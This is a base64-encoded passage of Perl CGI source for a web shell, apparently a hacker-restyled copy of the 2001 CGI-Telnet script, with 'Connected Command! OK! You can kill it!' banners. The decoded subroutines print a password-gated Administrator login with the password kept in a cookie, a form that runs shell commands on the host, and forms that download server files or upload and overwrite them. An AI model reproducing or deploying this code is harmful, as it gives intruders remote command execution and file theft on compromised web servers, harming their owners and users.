0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBk